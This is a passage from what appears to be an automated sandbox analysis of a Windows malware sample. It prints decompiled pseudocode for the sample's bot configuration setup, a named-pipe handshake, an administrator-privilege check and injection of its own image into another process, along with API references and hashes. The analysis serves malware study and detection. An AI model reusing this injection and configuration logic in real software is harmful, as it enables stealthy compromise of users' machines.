					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15

Strings

start_srv, xrefs: 00401E6C
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
lid_file_upd, xrefs: 00401E25
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
kernel32, xrefs: 00401DF7
loader_id, xrefs: 00401F4B, 00401F6B
born_date, xrefs: 00401EAD, 00401ECC
net_type, xrefs: 00401E87
IsWow64Process, xrefs: 00401DF2
work_srv, xrefs: 00401E5E
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 005465CC, Relevance: 6.1, APIs: 4, Instructions: 67memoryinjectionCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 005465DF
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 005465F9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 0054661A
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 0054663B

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction ID: 78887eff6d6eb13b9f847f035f3433279fe80bcce1c83a605fb3a99b2ea1da26
Opcode Fuzzy Hash: f6d5bfc494c97751726a91e8fcfc29ef8439432d9fc6ff92f654e37a29c1b935
Instruction Fuzzy Hash: 1611A0B1600219BFDB218F65DC4AFDB3FA8FB457A9F118024F909E7290D7B1DD008AA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040637C, Relevance: 6.1, APIs: 4, Instructions: 67
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040637C(intOrPtr _a4, void* _a8, intOrPtr* _a12, void** _a16) {
				void* _v8;
				void* _t15;
				void* _t16;
				long _t26;
				struct HINSTANCE__* _t32;
				void* _t37;

				if(_a8 != 0) {
					_t32 = GetModuleHandleA(0);
					_t26 =  *( *((intOrPtr*)(_t32 + 0x3c)) + _t32 + 0x50);
					_t15 = VirtualAlloc(0, _t26, 0x1000, 4);
					_v8 = _t15;
					if(_t15 == 0) {
						L5:
						_t16 = 0;
					} else {
						E0040EE08(_t15, _t32, _t26);
						_t37 = VirtualAllocEx(_a8, 0, _t26, 0x1000, 0x40);
						if(_t37 == 0) {
							goto L5;
						} else {
							E004062B7(_v8, _t37);
							if(WriteProcessMemory(_a8, _t37, _v8, _t26, 0) != 0) {
								 *_a16 = _t37;
								 *_a12 = _t37 - _t32 + _a4;
								_t16 = 1;
							} else {
								goto L5;
							}
						}
					}
					return _t16;
				} else {
					return 0;
				}
			}

0x00406384
0x00406395
0x0040639a
0x004063a9
0x004063af
0x004063b4
0x004063f5
0x004063f5
0x004063b6
0x004063b9
0x004063d0
0x004063d4
0x00000000
0x004063d6
0x004063da
0x004063f3
0x004063fc
0x00406406
0x0040640a
0x00000000
0x00000000
0x00000000
0x004063f3
0x004063d4
0x0040640f
0x00406386
0x00406389
0x00406389

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00409816,?), ref: 0040638F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,00409816,?), ref: 004063A9
VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000040), ref: 004063CA
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,00000000), ref: 004063EB

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocVirtual$HandleMemoryModuleProcessWrite
String ID:
API String ID: 1965334864-0
Opcode ID: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction ID: 5c31eb3238d54f8d6ca6dd7d72ba58cabd3ec10295ac0618dae15ec7b9dc1832
Opcode Fuzzy Hash: 6b7839f040fb078f737eaa4cdd504cc34e5d0933869709ec770a1cd6c6f8f9ba
Instruction Fuzzy Hash: B911A3B1600219BFEB119F65DC49F9B3FA8EB047A4F114035FD09E7290D775DC108AA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004088B0(intOrPtr _a4) {
				intOrPtr _t98;
				void* _t99;
				intOrPtr _t101;

				_t101 = _a4;
				E0040EE2A(_t99, _t101, 0, 0x3e0);
				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00549E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00549E56
lstrcpy.KERNEL32(?,00000000), ref: 00549FCA
lstrcat.KERNEL32(?,?), ref: 00549FDB
lstrcat.KERNEL32(?,0041070C), ref: 00549FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 0054A03D
DeleteFileA.KERNEL32(?), ref: 0054A088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 0054A0BF
lstrcpy.KERNEL32 ref: 0054A118
lstrlen.KERNEL32(00000022), ref: 0054A125
GetTempPathA.KERNEL32(000001F4,?), ref: 00549EFC

Part of subcall function 00547012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 0054706A

Part of subcall function 00546F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\jhmdawhx,0054702C), ref: 00546F37
Part of subcall function 00546F19: GetProcAddress.KERNEL32(00000000), ref: 00546F3E
Part of subcall function 00546F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00546F64
Part of subcall function 00546F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00546F7B

